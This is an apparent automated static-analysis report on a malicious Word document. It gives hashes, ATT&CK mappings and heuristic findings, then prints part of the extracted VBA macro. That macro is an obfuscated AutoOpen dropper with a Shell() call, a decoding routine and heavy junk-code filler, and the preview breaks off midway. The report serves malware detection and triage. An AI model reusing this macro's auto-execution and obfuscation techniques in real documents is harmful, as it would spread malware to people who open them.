Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ce0f0ffa6e7880d2…

MALICIOUS

Office (OLE)

263.0 KB Created: 2017-06-30 13:30:00 Authoring application: Microsoft Office Word First seen: 2018-06-25
MD5: 7c194e7015b0e0ca2d9f9ec2700ee0a0 SHA-1: 740b7c2b420f0d7aab861aaa7587485d633f3c96 SHA-256: ce0f0ffa6e7880d21dd9eb6fc034e9a91939383cf0a327030e4c6a0875bd7bb1
152 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoOpen function, which is flagged as suspicious and uses the Shell() function. This indicates the macro is designed to execute arbitrary code, likely to download and run a second-stage payload. The obfuscated nature of the VBA code and the lack of specific indicators prevent definitive family attribution.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    End Select
    Call Shell(ARCJ7, ijPAFfm)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "qzlw1x4j"
    Sub AutoOpen()
    WHKhRi2v6 = 967 + 11
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 74413 bytes
SHA-256: 9c2ee2ab173487e404b0c76bf2ec41cdb364afff948632a8ae93bdc46c77b6c4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
873 of 1674 identifiers look randomly generated (e.g. 'GFydC1Qcm9jZXNzICRwYXRoO2JyZWFrO31jYXRja') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "qzlw1x4j"
Sub AutoOpen()
WHKhRi2v6 = 967 + 11
If WHKhRi2v6 = 6288 / 524 Then
NhApnu7O = True
End If
E0NJvYw9 = E0NJvYw9 & NhApnu7O
l71Wq = 967 + 11
If l71Wq = 6288 / 524 Then
Dw3oOyX = 7073.0697701292
ElseIf l71Wq = -103 + 131 Then
GdrOgPFmE = 56461.37493315
Else
Zl6uQR = 7073.0697701292
End If
NdqMCDhO = Dw3oOyX & GdrOgPFmE & Zl6uQR
vkPIxo = -862 + 898
Select Case vkPIxo
Case 6288 / 524
rYKs6k = OIN7Af
Case -103 + 131
dS8sG4 = -1827575588
Case 12663 / 201
iS8m593N = 5915.7145654398
End Select
dkZ6P = -862 + 898
Select Case dkZ6P
Case 6288 / 524
EvE4u = 203
Case -103 + 131
yymfA = 203
Case 12663 / 201
yJdCVx = 0
Case Else
OjEXhsa = 203
End Select
DcaYL = -209 + 280
Select Case DcaYL
Case -2064 + 2078
srwmDpk2 = False
Case 10106 / 326
mL4pqJN = False
Case 323 - 269
BWJZl = False
End Select
LM8af7h = -209 + 280
Select Case LM8af7h
Case -2064 + 2078
bHQLOyD = 7676.2484793813
Case 10106 / 326
xyMNXV = -2058364276
End Select
nkIlGo = -209 + 280
Select Case nkIlGo
Case -2064 + 2078
f8K4Y12 = -14673
Case 10106 / 326
n4KB6 = -14673
End Select
vHWC51 = -61 + 127
Select Case vHWC51
Case -2214 + 2228
xrelIx9 = 19421.294282531
End Select
mN7BRXfq = 250 - 34
If mN7BRXfq = -2214 + 2228 Then
LWEp9FY = 0
Else
x9tiVJONj = -198
End If
CnrY2 = LWEp9FY & x9tiVJONj
OZXL0yrk = -61 + 127
Select Case OZXL0yrk
Case -2214 + 2228
gFpyGU = lXZleow
Case 13200 / 660
Ic2Avk = -2971
Case 32544 / 678
TlyLzVfbG = -1178806878
End Select
Y1BOl = -61 + 127
Select Case Y1BOl
Case -2214 + 2228
gRqiYXCus = 5388
Case 13200 / 660
EAiKupe = 5
Case 32544 / 678
M6VaMh = False
Case Else
WOTgr = 0
End Select
Qno1L = 250 - 34
If Qno1L = -2214 + 2228 Then
ggJZDUWoQ = ZNu9fvL
ElseIf Qno1L = 13200 / 660 Then
KqKgOP = ZNu9fvL
Else
W2PtHMkZ = ZNu9fvL
End If
NewSFCBRo = ggJZDUWoQ & KqKgOP & W2PtHMkZ
z0v8Dxi3 = 291 - 192
Select Case z0v8Dxi3
Case 29237 / 2249
OMbJqxoGO = DVGz7pgX
Case -571 + 590
lWyAxu = 61027.099425973
Case 470 - 437
MFOTrlX5 = True
End Select
ORXKE = 291 - 192
Select Case ORXKE
Case 29237 / 2249
vvueZI = 43728.284426248
Case -571 + 590
YNFc19 = 0
End Select
blmY6 = 291 - 192
Select Case blmY6
Case 29237 / 2249
U7DRHTxvs = -277360132
Case -571 + 590
la1SdnR = 42
End Select
VC91eWS = 666 + 28
If VC91eWS = -175 + 185 Then
j9K7T4LH5 = 7466
Else
fPxqkV = 51963.339594849
End If
iAFGYrH = j9K7T4LH5 & fPxqkV
voJanjWYy = 772 - 727
Select Case voJanjWYy
Case -175 + 185
FfpPZAD = 0
End Select
eGajdQnK = 772 - 727
Select Case eGajdQnK
Case -175 + 185
TYRTvsno = -1364882458
Case 567 - 546
k5hSIEB = -8717
End Select
vD3uxVpH = 666 + 28
If vD3uxVpH = -175 + 185 Then
CCikBHlE = 22
End If
MfKb7J = MfKb7J & CCikBHlE
csyrdX = 12255 / 645
Select Case csyrdX
Case 1502 - 1487
AFVqUmc30 = 12973
End Select
HKNQY3 = 248 + 80
If HKNQY3 = 1502 - 1487 Then
Fn7fi = -1932398086
Else
bJ6gu = -1932398086
End If
zDcwsR3y = Fn7fi & bJ6gu
jtfpmMGn = 12255 / 645
Select Case jtfpmMGn
Case 1502 - 1487
L19gjc7 = 22600.677556572
Case -1024 + 1046
aZvXf = 146
Case 18224 / 536
VqoIh = 146
End Select
x8nZU = 26078 / 34
If x8nZU = 18606 / 1329 Then
ISak6X = 25758.817654428
ElseIf x8nZU = -409 + 440 Then
WdwnUXuQ = 0
Else
u5zh19 = 0
End If
VTvClzY = ISak6X & WdwnUXuQ & u5zh19
HAtNjZ = 26078 / 34
If HAtNjZ = 18606 / 1329 Then
tWEo3B6zF = 1110.8365193031
End If
FZ7aqf = FZ7aqf & tWEo3B6zF
Tm1xR = 16104 / 264
Select Case Tm1xR
Case 18606 / 1329
DRxm6DNK = 51415.789158154
Case -409 + 440
VJFGBZuiw = 173
End Select
sydBC = 26078 / 34
If sydBC = 18606 / 1329 Then
O6egK7yAr = -1923228912
End If
FhoStlzyZ = FhoStlzyZ & O6egK7yAr
NhMGU = 16104 / 264
Select Case NhMGU
Case 18606 / 1329
q5cxjyqAT = 226
Case -409 + 440
oB4rYnhyT = 37097.390309281
End Select
om13t7 = -1 + 85
Select Case om13t7
Case 19968 / 4992
JonexA = False
Case 11842 / 382
clWYVf1Q = 46
Case 10320 / 240
nKvd7 = False
Case Else
erHaW = -3734
End Select
TmpTs = 414 - 361
If TmpTs = 19968 / 4992 Then
jX9io = 24823.26696311
End If
wAwY3eb6X = wAwY3eb6X & jX9io
vznQa = 414 - 361
If vznQa = 19968 / 4992 Then
PT9q3x = 0
End If
nGWiZs = nGWiZs & PT9q3x
nlmspBz = 414 - 361
If nlmspBz = 19968 / 4992 Then
qN8kHExF1 = 50324.46511322
Else
XUdgok = 43
End If
kfmP2Zr = qN8kHExF1 & XUdgok
xPsOj = -1 + 85
Select Case xPsOj
Case 19968 / 4992
XDPp87oN = 0
Case 11842 / 382
Ft7EwDXGU = 47553.382474288
Case 10320 / 240
N5JyH = 59954.103196357
End Select
xoPyK = 384 - 275
Select Case xoPyK
Case -252 + 262
cpkdY = FVzycMO
Case -189 + 209
bliaw = 37209.679461957
End Select
WWoNexF6 = 384 - 275
Select Case WWoNexF6
Case -252 + 262
rkENiQ = YeQDrLxOg
Case -189 + 209
ZICcXSZ = 112
End Select
IfV9zT = 384 - 275
Select Case IfV9zT
Case -252 + 262
fyHcXefRG = RQa2M95f4
Case -189 + 209
EHYtxN3md = -11311
Case -594 + 639
HzLO9 = 65104.77462047
Case Else
VetMK90ko = -1305643304
End Select
gasnubg8o = 544 - 40
If gasnubg8o = 2899 - 2889 Then
qY6tmbrw = False
ElseIf gasnubg8o = 13490 / 710 Then
yU9bS2jl = iIJzv25Bn
Else
Kn8DKsv = 12656.46394271
End If
rY9zEO5Tl = qY6tmbrw & yU9bS2jl & Kn8DKsv
iHvdz = 544 - 40
If iHvdz = 2899 - 2889 Then
GEnrs9 = 2235.8805401235
ElseIf iHvdz = 13490 / 710 Then
DneRU0pA = 0
Else
qJ0kBs = -3167
End If
dgSmKyuDp = GEnrs9 & DneRU0pA & qJ0kBs
CejQy3aR = -272 + 360
Select Case CejQy3aR
Case 2899 - 2889
NvstRKO = 49390.652554607
Case 13490 / 710
F8DiV = 49390.652554607
End Select
uYp45ok = 23 + 57
Select Case uYp45ok
Case 4698 / 522
EB6pGgLWS = 110
Case 16544 / 1034
in5cjmqQ = 63310.372539539
Case -101 + 156
LilwV = False
End Select
NwajsX = 8892 / 57
If NwajsX = 4698 / 522 Then
XzRH1o3x = -11592
Else
VHPjY = 0
End If
CinBqb = XzRH1o3x & VHPjY
rKXmCqY7D = 23 + 57
Select Case rKXmCqY7D
Case 4698 / 522
LjMZ9Q1x = 54868.487544025
Case 16544 / 1034
QjorvPb = 54868.487544025
Case -101 + 156
VMin8KPA = -12901
End Select
OFDN6KH = 23 + 57
Select Case OFDN6KH
Case 4698 / 522
eGdxvlUDc = xowJnUfZX
Case 16544 / 1034
eH43tEJdj = 30038.694633537
Case -101 + 156
LtwDH = True
End Select
jiFRp8 = 8892 / 57
If jiFRp8 = 4698 / 522 Then
nvJsF = 691.03981296202
Else
xs0kgDlM = gWjYGerz
End If
eesYgGw = nvJsF & xs0kgDlM
uB5lexD = -109 + 191
Select Case uB5lexD
Case -549 + 564
XbKRS6 = 55443.117402238
Case 1791 - 1774
nIOJjsCH = 6866
Case 14 + 39
sqmQwxzk = 188
End Select
BwMHOLVP = -109 + 191
Select Case BwMHOLVP
Case -549 + 564
XHqbkxn = False
Case 1791 - 1774
lqEjWd = gNXUP
Case 14 + 39
y0w4aOoGc = -77247308
Case Else
TVAb297 = 0
End Select
L9TR3 = -109 + 191
Select Case L9TR3
Case -549 + 564
qSJEZC9co = 61
Case 1791 - 1774
QHMw7X4K = 0
End Select
vSAnBG = -109 + 191
Select Case vSAnBG
Case -549 + 564
NUYdpD2G6 = False
Case 1791 - 1774
PH9U7 = 26462
Case 14 + 39
vLomDw = 26462
Case Else
o2CHwEL = axnki8
End Select
SMO2qRB3
QJBSVH = 22570 / 305
Select Case QJBSVH
Case -2658 + 2665
zaUofE = 34442.358362409
Case -1455 + 1471
tvOYxoZ = 28476.930458095
Case -221 + 275
JEtHjIC = 4766
End Select
y4GMt7c = 22570 / 305
Select Case y4GMt7c
Case -2658 + 2665
QKc6QXiI = 63849.633704302
End Select
qkOsi6e9y = 22570 / 305
Select Case qkOsi6e9y
Case -2658 + 2665
Xa6c8svxI = WhyRNqot
Case -1455 + 1471
qx6Z5 = 10501.304417299
End Select
kquOXZ = 22570 / 305
Select Case kquOXZ
Case -2658 + 2665
vG9HB7 = -935921152
End Select
IpAm7S4v3 = 35 + 104
If IpAm7S4v3 = -2658 + 2665 Then
Wu7bo = a2KjcZE
ElseIf IpAm7S4v3 = -1455 + 1471 Then
PJeU9 = 63504.311724175
Else
PklyT = a2KjcZE
End If
n90uIU = Wu7bo & PJeU9 & PklyT
wmxKji = 27180 / 302
Select Case wmxKji
Case 20070 / 4014
Are1P = 45
End Select
JKca6s53 = 6664 / 28
If JKca6s53 = 20070 / 4014 Then
lSo6yf3 = True
ElseIf JKca6s53 = 7106 / 374 Then
aP5sa = 21323
Else
LnEh7 = 21323
End If
yrn0Ge = lSo6yf3 & aP5sa & LnEh7
VikNKMwR = 6664 / 28
If VikNKMwR = 20070 / 4014 Then
Zrbdv8YL = 0
ElseIf VikNKMwR = 7106 / 374 Then
GFJCG5 = 34402.083859894
Else
kVk3p = 0
End If
B8aOg3sL = Zrbdv8YL & GFJCG5 & kVk3p

Tw3TZ = 233 + 93
If Tw3TZ = 13167 / 1197 Then
EZbXwD4Ng = False
End If
RhDtz = RhDtz & EZbXwD4Ng
ImUAZ9N = -661 + 702
Select Case ImUAZ9N
Case 13167 / 1197
WVnqCsLe = t2LvdktFl
End Select
ej27vEQm = -661 + 702
Select Case ej27vEQm
Case 13167 / 1197
xRnYh = 173
Case -872 + 894
KzMbXjY0I = 6985
Case 4399 / 83
QpdMuT = True
End Select
zUbCM0E = -661 + 702
Select Case zUbCM0E
Case 13167 / 1197
CklLAH62r = 50210.122677611
End Select
FBOT2 = -69 + 123
Select Case FBOT2
Case 1176 - 1169
DbLH9arx = 29753.129036916
Case -649 + 673
HwgjS2I5W = True
Case -129 + 189
fiGyXrAO = -2145547898
Case Else
uuUSZFnQ = True
End Select
IlnsBm = 612 - 46
If IlnsBm = 1176 - 1169 Then
KyM6J3 = ZmoUg
End If
BsExy1 = BsExy1 & KyM6J3
M0P1HYr = -69 + 123
Select Case M0P1HYr
Case 1176 - 1169
jHbYi = 126
Case -649 + 673
NxDOMr = c9pMcbY
End Select
v6fiEg = -69 + 123
Select Case v6fiEg
Case 1176 - 1169
Jj8pKMst = 58925.551449685
End Select
cGXrDj = -69 + 123
Select Case cGXrDj
Case 1176 - 1169
qzSPKhc = 32980.107868952
Case -649 + 673
UkqurT = True
Case -129 + 189
BymDG7 = BvM2SJoj
Case Else
EJHXwc = 43455.990172891
End Select
End Sub

Attribute VB_Name = "UNeH1MO"
Private Const wHe4GnkV = 16711594 + 86
Private Const dczthe1k = 97107 - 31827
Private Const B3BemS4 = 1530 / 6
Private Const oDa7mcz1 = 264934 - 2790
Private Const Y63WkTqCt = 4089 + 7
Private Const uxCLeY = 16384 / 256
Private Const zn9Fp = 7680 / 30
Private Const iyGr7iKbs = 41941 + 23595
Public Function vhNTd9bDW(bjDXF As String) As String
Dim BiTLJ() As Byte
Dim gYVaEoMB() As Byte
Dim mwnt1u(255) As Byte
Dim xIeAbZml(63) As Long
Dim GyH1SboAn(63) As Long
Dim Cf9HUID(63) As Long
Dim Dn5Jj As Long
Dim DsuBn As Integer
Dim uWvzGiTHB As Long
Dim Cqg0ZR As Long
Dim rgYxRJ As String
Dim fIbMin As Long
soISKCH7 = 380 - 356
Select Case soISKCH7
Case 30534 / 2181
YMN8t = 35765.678049664
Case -1192 + 1213
VByA8wuW = 25496
End Select
xNFgLbM = 456 + 15
If xNFgLbM = 30534 / 2181 Then
lPn3f0va = 157
End If
j2NPZ = j2NPZ & lPn3f0va
gHKcGkC1F = 456 + 15
If gHKcGkC1F = 30534 / 2181 Then
usM9FPIo = 57165.027697943
ElseIf gHKcGkC1F = -1192 + 1213 Then
crdUXitoP = 254
Else
l3EHJ = 11179.104518012
End If
t7BFnOk = usM9FPIo & crdUXitoP & l3EHJ
xXFnc = 456 + 15
If xXFnc = 30534 / 2181 Then
gCekx = False
ElseIf xXFnc = -1192 + 1213 Then
YYUK98qC = 104
Else
dF70nbs = 0
End If
KapGtL8b = gCekx & YYUK98qC & dF70nbs
UDCLIdH = 782 - 12
If UDCLIdH = -461 + 470 Then
wReLAt = MiNXVR
Else
FfuX3 = False
End If
Go3kwX = wReLAt & FfuX3
XKBv1Na = 6554 / 58
Select Case XKBv1Na
Case -461 + 470
qPbRMOl = True
Case -1371 + 1387
DOE0HY = 1
End Select
IRI9j5 = 782 - 12
If IRI9j5 = -461 + 470 Then
fqyVgzdtZ = 9022.9855955925
Else
bTBqlxf8 = True
End If
tIWA4bJU = fqyVgzdtZ & bTBqlxf8
lLCNAq = 782 - 12
If lLCNAq = -461 + 470 Then
SYV1p0 = 11355.098297277
ElseIf lLCNAq = -1371 + 1387 Then
UwSlU = 0
Else
DJ9rH = 98
End If
pPdinM = SYV1p0 & UwSlU & DJ9rH
Tg04xGuo9 = 116 + 79
If Tg04xGuo9 = 10398 / 10398 Then
URdexHNa7 = 201
ElseIf Tg04xGuo9 = -1237 + 1259 Then
HKPbcQAxa = 28760.566335574
Else
DfmIx4tUw = 0
End If
eMjLR = URdexHNa7 & HKPbcQAxa & DfmIx4tUw
OisFLmQ = 21 * 1
Select Case OisFLmQ
Case 10398 / 10398
ejE3FP = -1489736062
Case -1237 + 1259
jtHoPYV = 12143.949440861
Case 7830 / 174
cMVuoamfe = 15857
Case Else
upvPbifde = 21483.440332123
End Select
ZnJofA1 = 116 + 79
If ZnJofA1 = 10398 / 10398 Then
Yaypb = -1332810280
Else
uNOKvgy = 7252.0596890604
End If
SyVWJ = Yaypb & uNOKvgy
v1vQrhR6y = 21 * 1
Select Case v1vQrhR6y
Case 10398 / 10398
rDMpe = 128
Case -1237 + 1259
Y2HZBQL = -7819
Case 7830 / 174
s6pRJm = 128
End Select
OaL9Ri = 309 - 285
Select Case OaL9Ri
Case 14240 / 3560
RsdUR = RfzqUPBtl
Case 661 - 642
qXhs8g = RfzqUPBtl
Case -25 + 84
oC89I = 214
End Select
NALJxEP6K = 309 - 285
Select Case NALJxEP6K
Case 14240 / 3560
z4hSMA = BNAk3a
Case 661 - 642
t6JkEalfc = 138
End Select
UnIT9 = 309 - 285
Select Case UnIT9
Case 14240 / 3560
oVphI6 = c0p8ymd3q
Case 661 - 642
EBTcp = c0p8ymd3q
Case -25 + 84
fMNCX = 134
Case Else
YixkJ9g = 2259.3218944961
End Select
v9Nxuw = 2 * 34
Select Case v9Nxuw
Case 957 - 946
kCTiRM = wveSiwb
Case 763 - 741
dHTlk = 43777.925759966
End Select
I8jsfauyM = 3402 / 18
If I8jsfauyM = 957 - 946 Then
xxFYhV6X = True
End If
tLn3WK = tLn3WK & xxFYhV6X
cmaz0 = 2 * 34
Select Case cmaz0
Case 957 - 946
IOiCcV4 = True
Case 763 - 741
v5KUXQ = 12786.454485918
Case 3465 / 99
OYBtwobeq = er1lWuk
End Select
b8FvGc = -314 + 362
Select Case b8FvGc
Case 30848 / 1928
mxvdYnXQ = 2
Case 267 - 250
ohxHd6 = FVzsLjXh
Case 24548 / 722
r1WyeL = 20273.381279328
End Select
SSMfQT = -314 + 362
Select Case SSMfQT
Case 30848 / 1928
GclPD = -1249095162
Case 267 - 250
l3MSYRW = 90
End Select
gyl976 = -314 + 362
Select Case gyl976
Case 30848 / 1928
w1DiKc0 = q67Rfg8J
Case 267 - 250
huHPGRVXB = 0
Case 24548 / 722
SOAIKb = 25562
End Select
DKlsi65bo = 215 - 25
If DKlsi65bo = 30848 / 1928 Then
M25wyBo = JOAkB4c
ElseIf DKlsi65bo = 267 - 250 Then
cZVqmY8ty = 30914
Else
ZTLlgXY = 16111.167821716
End If
A3HsbG = M25wyBo & cZVqmY8ty & ZTLlgXY
Mt2ULfj = 25 + 82
Select Case Mt2ULfj
Case 1189 - 1180
LgQH5VS96 = 58479.83774919
Case 30198 / 1438
Oty13Z9hr = False
Case 438 - 400
JXB2QpTO = False
Case Else
wx02g7jAn = 100
End Select
GsUvp7J = 25 + 82
Select Case GsUvp7J
Case 1189 - 1180
YdLnTUhge = True
Case 30198 / 1438
tsUyrlA6 = -390726152
End Select
DMYi3 = 25 + 82
Select Case DMYi3
Case 1189 - 1180
Cz2h6v = BIBNey
End Select
EXuf57A = 214 + 60
If EXuf57A = 1189 - 1180 Then
Apdr8SO7h = 28459.167361959
End If
KdTmv = KdTmv & Apdr8SO7h
ivI1Bc = 573 - 37
If ivI1Bc = 24016 / 24016 Then
BFYxZ = Zkyl0x
End If
tP3t26e = tP3t26e & BFYxZ
XRF3g5BT = -241 + 302
Select Case XRF3g5BT
Case 24016 / 24016
ogrdKtV = 148
Case 14010 / 467
wTe7Kr = -1637673068
Case 170 - 112
sUe8PVwT = 148
Case Else
wdQb8 = -1637673068
End Select
h5sbwde = -241 + 302
Select Case h5sbwde
Case 24016 / 24016
BSKMda = 0
Case 14010 / 467
P2c61kDbE = True
Case 170 - 112
oleDRY5HE = 42392.570427047
Case Else
QPLMO3l = vQqYc
End Select
EDhPSCq = 573 - 37
If EDhPSCq = 24016 / 24016 Then
fYD5Cc = 25628
Else
DunMYvycH = 0
End If
fqZFdm = fYD5Cc & DunMYvycH
jRpbN = 829 + 37
If jRpbN = 1256 - 1242 Then
JEFyUniDP = 56320.901761525
Else
BRHJTe = 56320.901761525
End If
ZKcJLv1az = JEFyUniDP & BRHJTe
os9Uqnl5T = 96 + 25
Select Case os9Uqnl5T
Case 1256 - 1242
N1uL82KF = False
Case 20328 / 968
qsuOJ = 58678.762484108
Case -71 + 122
vz6d5UGg = False
End Select
cJgFXD = 96 + 25
Select Case cJgFXD
Case 1256 - 1242
Aa2hV3osR = Vv2lc0p
Case 20328 / 968
HG4PE = 60378.294489081
Case -71 + 122
ppzi2 = True
End Select
HQJ1KiPz = 39 + 62
Select Case HQJ1KiPz
Case -1867 + 1877
AHFzLc8 = True
End Select
ziRs64t8 = -587 + 632
If ziRs64t8 = -1867 + 1877 Then
KctCNfn = True
ElseIf ziRs64t8 = 1170 - 1142 Then
EoAN1p4Bf = 29068
Else
OPQ7rxuod = 71
End If
pyPtBlVE = KctCNfn & EoAN1p4Bf & OPQ7rxuod
a1dtFoyWf = 39 + 62
Select Case a1dtFoyWf
Case -1867 + 1877
hfCtTsin = 45672.103237646
End Select
Z9EGQe = -2980 + 2987
Select Case Z9EGQe
Case 10142 - 10140
iTk2NfOj = e0dvUKIVm
Case 91 - 70
gPaWt59VT = 48407.921368553
End Select
JaYlES = -2980 + 2987
Select Case JaYlES
Case 10142 - 10140
Wo9Tz = False
Case 91 - 70
Urjiz0Xq8 = 44526.496633301
Case -691 + 734
Bn9WjNX = 37541.33725202
Case Else
CR7dIkJt = 252
End Select
veLkl8Io = 378 - 127
If veLkl8Io = 10142 - 10140 Then
C8wFaXWm = 64199.890210097
Else
cMEzRv6 = 8
End If
pDiTIlJZY = C8wFaXWm & cMEzRv6
RLM1Yc = 378 - 127
If RLM1Yc = 10142 - 10140 Then
g4psf5 = -24558
Else
AfqQuyiY = 411.48996333363
End If
n7fjg = g4psf5 & AfqQuyiY
alz8x = 7161 / 231
Select Case alz8x
Case 2605 - 2593
IyC42 = 0
Case -857 + 887
Hq4oszaVE = 55294.162731384
End Select
br7QI = 666 - 39
If br7QI = 2605 - 2593 Then
rlJ3r = 160
Else
vYx2jc8r = 160
End If
xtycA1nl = rlJ3r & vYx2jc8r
aiHw8ukt = 666 - 39
If aiHw8ukt = 2605 - 2593 Then
gRYporX = 24440.870657554
ElseIf aiHw8ukt = -857 + 887 Then
ITnegvSrx = 0
Else
wRm1d = 0
End If
jj9RSfy = gRYporX & ITnegvSrx & wRm1d
nDS1Fau = 599 - 51
If nDS1Fau = 432 - 422 Then
N9GdBkARf = 130
ElseIf nDS1Fau = 823 - 794 Then
lX5N4 = 16416.360835442
Else
yCG7pPZ = 0
End If
pQtGNK = N9GdBkARf & lX5N4 & yCG7pPZ
H5Q8fYN = 599 - 51
If H5Q8fYN = 432 - 422 Then
Gz5bvU = 58797.946703878
Else
T5Vdzg = 61
End If
ho5vWuI = Gz5bvU & T5Vdzg
t98obtTY = 599 - 51
If t98obtTY = 432 - 422 Then
AoSnRlFT = 61527.131207799
Else
zsSWrBG = 0
End If
ROhMqNpIX = AoSnRlFT & zsSWrBG
pjTlVc = 599 - 51
If pjTlVc = 432 - 422 Then
xFvH4Bj = Eo89vecCf
Else
qrl2UR = -26813
End If
knF5l = xFvH4Bj & qrl2UR
vCIedSpEH = 18921 / 357
Select Case vCIedSpEH
Case 9912 - 9910
W9PcVTsj = 29677
Case 3240 / 108
IN7dD = False
Case 139 - 79
inm2SGi = 58683.937728766
Case Else
gZf0H = False
End Select
pqF4JhGl = 18921 / 357
Select Case pqF4JhGl
Case 9912 - 9910
NlUmiQPN = 35166.528667466
Case 3240 / 108
yc9u6bZ = True
Case 139 - 79
B05Svpte = True
End Select
AAgMShB = 18921 / 357
Select Case AAgMShB
Case 9912 - 9910
czQaLB = 3546.9499256914
End Select
VXaJKn = 18921 / 357
Select Case VXaJKn
Case 9912 - 9910
e6NlcvO0 = 42
Case 3240 / 108
ZGUi8VF7g = 42
Case 139 - 79
jUxTOHEc = 42
End Select
IrPzb7JR = 494 - 43
If IrPzb7JR = 9912 - 9910 Then
I7jpb = 25284.479725623
End If
WzxquDW = WzxquDW & I7jpb
fIbMin = Len(bjDXF) Mod 4
O7Sfg = 913 + 35
If O7Sfg = -579 + 584 Then
IbrLm = LOsRBg
End If
BityJHDP6 = BityJHDP6 & IbrLm
QS3g2TPf = 913 + 35
If QS3g2TPf = -579 + 584 Then
wwpFJq3 = -87947624
ElseIf QS3g2TPf = 458 - 431 Then
v4xGOtmYs = 15582.909968358
Else
y7g5srP = 247
End If
GWhF7SiNm = wwpFJq3 & v4xGOtmYs & y7g5srP
EBrly8 = 913 + 35
If EBrly8 = -579 + 584 Then
N3Xfh0q = 0
End If
w4RynFf = w4RynFf & N3Xfh0q
FxtNAiT = 913 + 35
If FxtNAiT = -579 + 584 Then
mKyvkzC = 0
End If
DYuP7Gtxd = DYuP7Gtxd & mKyvkzC
iZ1cIi = 913 + 35
If iZ1cIi = -579 + 584 Then
gxIuE = LdHUNqDX
ElseIf iZ1cIi = 458 - 431 Then
h68fTXO = -31391
Else
pq3F2Y = 129
End If
j79BHFYv = gxIuE & h68fTXO & pq3F2Y
LyGHF = -664 + 673
Select Case LyGHF
Case -478 + 491
rG52bEJ6 = 58234.485681892
End Select
fvXHPY = -664 + 673
Select Case fvXHPY
Case -478 + 491
cLZUlMQ = -817732004
Case 448 - 418
Vr1MH2 = 150
Case 19364 / 412
ZU2Ef = -7720
Case Else
B42De7X = True
End Select
fyk9mO6DF = -664 + 673
Select Case fyk9mO6DF
Case -478 + 491
sR3Xn2eU = gdoCQX5u
Case 448 - 418
SXY0UTp6 = True
Case 19364 / 412
be0m4N6Kr = -270
End Select
L6gO18L = 584 - 53
If L6gO18L = -478 + 491 Then
kI7WjVZR5 = R7am6C
ElseIf L6gO18L = 448 - 418 Then
p7NAe = 43
Else
Put298 = R7am6C
End If
MgXYLKFA = kI7WjVZR5 & p7NAe & Put298
FLcA8faD = -664 + 673
…